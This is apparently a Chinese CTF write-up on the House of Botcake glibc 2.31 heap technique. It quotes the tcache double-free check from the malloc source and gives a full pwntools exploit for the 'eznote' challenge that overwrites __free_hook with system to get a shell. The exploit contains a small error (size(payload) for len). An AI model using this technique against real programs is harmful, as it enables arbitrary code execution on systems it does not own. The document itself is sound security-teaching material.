House Of Botcake

D0wnBe@t Lv4

介绍

参考文章

House Of Botcache是用于绕过tcache double free检查的一种方法,在glibc2.29-2.31,对于tcache加入了key值来检测该tcache是否已经存在于tcache bins中,该方法就是借用unsorted bin来绕过double free的检查,下面跟着源码来分析一下。

源码

源码文档

tcachekey值的引进

  • 2984行
1
2
3
4
5
6
typedef struct tcache_entry
{
struct tcache_entry *next;
/* This field exists to detect double frees. */
struct tcache_perthread_struct *key; // 引入key值
} tcache_entry;

tcache double free的检查

  • 2917行
  • tcache_put
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
/* Caller must ensure that we know tc_idx is valid and there's room
for more chunks. */
static __always_inline void
tcache_put (mchunkptr chunk, size_t tc_idx)
{
tcache_entry *e = (tcache_entry *) chunk2mem (chunk);

/* Mark this chunk as "in the tcache" so the test in _int_free will
detect a double free. */
e->key = tcache; // 设置该tcache

e->next = tcache->entries[tc_idx];
tcache->entries[tc_idx] = e;
++(tcache->counts[tc_idx]); // 计数+1
}
  • 4181行
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
#if USE_TCACHE
{
size_t tc_idx = csize2tidx (size);

/* 如果该chunk非空,tcache bins没填充满,那么该chunk可能已经在tcache bins中了,所以要对其进行double free的检查,即检查key值 */
if (tcache != NULL && tc_idx < mp_.tcache_bins)
{
/* Check to see if it's already in the tcache. */
tcache_entry *e = (tcache_entry *) chunk2mem (p);

/* This test succeeds on double free. However, we don't 100%
trust it (it also matches random payload data at a 1 in
2^<size_t> chance), so verify it's not an unlikely
coincidence before aborting. */
/*
如果是double free,那么put时key字段被设置了tcache,就会进入循环被检查出来
如果不是,那么key字段就是用户数据区域,可以视为随机的,只有1/(2^size_t)的可能行进入循环,然后循环发现并不是double free
*/
if (__glibc_unlikely (e->key == tcache))
{
tcache_entry *tmp;
LIBC_PROBE (memory_tcache_double_free, 2, e, tc_idx);
for (tmp = tcache->entries[tc_idx];
tmp;
tmp = tmp->next)
if (tmp == e)
malloc_printerr ("free(): double free detected in tcache 2");
/* If we get here, it was a coincidence. We've wasted a
few cycles, but don't abort. */
}

if (tcache->counts[tc_idx] < mp_.tcache_count) // 通过检查,放入tcache bins
{
tcache_put (p, tc_idx); // 进入tcache bins就会被设置key
return;
}
}
}
#endif

__glibc_unlikely 宏是用来告诉编译器特定的条件或分支“不太可能为真”,从而优化生成的机器代码

总结

当free chunk 进入到tcache bins中的时候,我们会设置一个key值给该chunk,使得double free 检查的时候检查该key值是否存在,如果存在,就是存在double free

注意:key值存在的位置是chunk的数据区,有极小可能出现检查错误

利用思路

既然free chunk被放进tcache就会设置key值,那么我们可以先将tcache bin填满,然后将一个free chunk放到unsorted bin中,接着free一个与unsorted bin chunk相邻的chunk,使其合并,然后malloc一个tcache bin中的chunk,此时tcache bin中就会留下一个剩余,再次free unsorted bin 中chunk即可。

1
2
3
4
1.填满tcache bin ,chunk1-7
2.free(chunk9) malloc(chunk10)->对应于chunk7,tcache中只有6个chunk了
3.free(chunk8) -> 与chunk9合并
4.free(chunk9) -> 进入到tcache bin 达到double free

例题

build ctf eznote

glibc 2.31

ida

  • 基本的堆菜单,所有功能都可以用
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
int __fastcall main(int argc, const char **argv, const char **envp)
{
char buf[4]; // [rsp+4h] [rbp-Ch] BYREF
unsigned __int64 v5; // [rsp+8h] [rbp-8h]

v5 = __readfsqword(0x28u);
init(argc, argv, envp);
while ( 1 )
{
menu();
read(0, buf, 4uLL);
switch ( atoi(buf) )
{
case 1:
add();
break;
case 2:
edit();
break;
case 3:
show();
break;
case 4:
dele();
break;
case 5:
puts("Goodbye\n");
exit(0);
default:
puts("Invalid Choice");
break;
}
}
}
  • add

只能申请15个chunk,并且长度有限制

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
unsigned __int64 add()
{
int i; // [rsp+4h] [rbp-1Ch]
size_t size[2]; // [rsp+8h] [rbp-18h] BYREF
unsigned __int64 v3; // [rsp+18h] [rbp-8h]

v3 = __readfsqword(0x28u);
size[0] = 0LL;
for ( i = 0; i <= 14; ++i )
{
if ( !note[i] )
{
printf("The size of this note : ");
__isoc99_scanf("%ld", size);
if ( size[0] && size[0] <= 0x80 )// 长度限制
{
note[i] = malloc(size[0]);
if ( !note[i] )
{
puts("Allocate Error");
exit(2);
}
printf("The content of this note : ");
read_input(note[i], size[0]);
}
else
{
puts("Too large! please try again");
}
return __readfsqword(0x28u) ^ v3;
}
}
return __readfsqword(0x28u) ^ v3;
}
  • edit

漏洞点之一:任意地址写,修改chunk不限制长度

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
unsigned __int64 edit()
{
unsigned int v1; // [rsp+4h] [rbp-1Ch]
__int64 v2; // [rsp+8h] [rbp-18h]
char buf[8]; // [rsp+10h] [rbp-10h] BYREF
unsigned __int64 v4; // [rsp+18h] [rbp-8h]

v4 = __readfsqword(0x28u);
printf("The index of this note : ");
read(0, buf, 8uLL);
v1 = atoi(buf);
if ( v1 >= 0xF )
{
puts("Out of bound!");
_exit(0);
}
if ( note[v1] )
{
printf("The size of this content : ");
read(0, buf, 8uLL);
v2 = atoi(buf); // 没有检查长度
printf("The content of this note : ");
read_input(note[v1], v2);
puts("Done !");
}
else
{
puts("No this note, please try again!");
}
return __readfsqword(0x28u) ^ v4;
}
  • show

%s输出,可以泄露libc

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
unsigned __int64 show()
{
unsigned int v1; // [rsp+0h] [rbp-10h]
char buf[4]; // [rsp+4h] [rbp-Ch] BYREF
unsigned __int64 v3; // [rsp+8h] [rbp-8h]

v3 = __readfsqword(0x28u);
printf("The index of this note : ");
read(0, buf, 4uLL);
v1 = atoi(buf);
if ( v1 >= 0xF )
{
puts("Out of bound!");
_exit(0);
}
if ( note[v1] )
{
printf("The content of this note is : %s\n", (const char *)note[v1]);
puts("Done !");
}
else
{
puts("No this note, please try again!");
}
return __readfsqword(0x28u) ^ v3;
}
  • free

漏洞点之二:free之后的指针没有清零,存在uaf和double free

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
unsigned __int64 dele()
{
unsigned int v1; // [rsp+0h] [rbp-10h]
char buf[4]; // [rsp+4h] [rbp-Ch] BYREF
unsigned __int64 v3; // [rsp+8h] [rbp-8h]

v3 = __readfsqword(0x28u);
printf("The index of this note : ");
read(0, buf, 4uLL);
v1 = atoi(buf);
if ( v1 >= 0xF )
{
puts("Out of bound!");
_exit(0);
}
if ( note[v1] )
{
free((void *)note[v1]);
puts("Done !");
}
else
{
puts("No this note, please try again!");
}
return __readfsqword(0x28u) ^ v3;
}

分析

  • 漏洞点较为明显,是可以打House Of Botcake的,长度虽然有限制,但是0x80足够进入unsorted bin中
  • edit长度不限,可以直接修改相邻chunk的fd和bk指针

gdb动调

1.填满tcache bin,并泄露libc

1
2
3
4
5
6
7
8
9
10
11
12
13
14
for i in range(7):
add(0x80,'a')

# 注意要先add再free,不然add就是取tcache bin中的chunk
add(0x80,'a') # 7
add(0x80,'a') # 8
add(0x20,'b') # 9

for i in range(7):
free(i)

free(8)
bug()
show(8)

直接show就可以获得__malloc_hook+0x70的地址,达到泄露libc

2.打House Of Botcake

1
2
3
4
bug()
free(7) # tcache留下空位
add(0x80,b'a') # chunk10
free(8) # tcahcebin unsortedbin
  • free(7)

  • add(0x80)

  • free(8)进入tcache(unsorted bin先进先出)

3.利用edit任意改+double free

1
2
3
4
5
6
7
payload=b'a'*0x80+p64(0)+p64(0x91)+p64(__free_hook)

edit(7,size(payload),payload)
add(0x80,b'/bin/sh\x00') # 11
add(0x80,p64(system_addr)) # 12
free(11)
p.interactive()

此时再次add,是将tcache bin中末尾即第一次进入unsorted bin中的chunk给malloc出来,修改该chunk的fd为__free_hook,就可以add到free_hook,然后修改其指向的地址

  • edit(7,size(payload),payload),修改tcache bin chunk fd

  • 第二次add之前,进行第二次add即可将__free_hook当作fake_chunk

  • 第二次add,修改fd为system,即free -> __free_hook->system,此时执行free,即执行system

  • 最后free(11),即system(‘/bin/sh’)

完整exp

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
from pwn import *
context(arch='amd64',log_level='debug',terminal='gnome-terminal')

p = process("./pwn")
#p = remote("27.25.151.80",38062)
elf = ELF("./pwn")
libc = ELF("./libc-2.31.so")

def bug():
gdb.attach(p)
pause()

def choice(idx):
p.sendlineafter("Your choice : > ",str(idx))

def add(size,content):
choice(1)
p.sendlineafter("The size of this note : ",str(size))
p.sendlineafter("The content of this note : ",content)

def edit(idx,size,content):
choice(2)
p.sendlineafter("The index of this note : ",str(idx))
p.sendlineafter("The size of this content : ",str(size))
p.sendlineafter("The content of this note : ",content)

def show(idx):
choice(3)
p.sendlineafter("The index of this note : ",str(idx))

def free(idx):
choice(4)
p.sendlineafter("The index of this note : ",str(idx))

for i in range(7):
add(0x80,'a')

add(0x80,'a') # 7
add(0x80,'a') # 8
add(0x20,'b') # 9

for i in range(7):
free(i)

free(8)
show(8)
p.recvuntil("The content of this note is : ")
libc_base=u64(p.recvn(6).ljust(8,b'\x00'))-0x1ecbe0
__free_hook=libc_base+libc.sym["__free_hook"]
system_addr=libc_base+libc.sym["system"]
success("libc_base ",hex(libc_base))
bug()
free(7)

add(0x80,b'a') # 10

free(8) # tcahcebin unsortedbin

payload=b'a'*0x80+p64(0)+p64(0x91)+p64(__free_hook)

edit(7,size(payload),payload)
add(0x80,b'/bin/sh\x00') # 11
add(0x80,p64(system_addr)) # 12
free(11)
p.interactive()
  • 标题: House Of Botcake
  • 作者: D0wnBe@t
  • 创建于 : 2024-10-17 10:01:56
  • 更新于 : 2024-11-06 12:58:05
  • 链接: http://downbeat.top/2024/10/17/House-Of-Botcake/
  • 版权声明: 本文章采用 CC BY-NC-SA 4.0 进行许可。
评论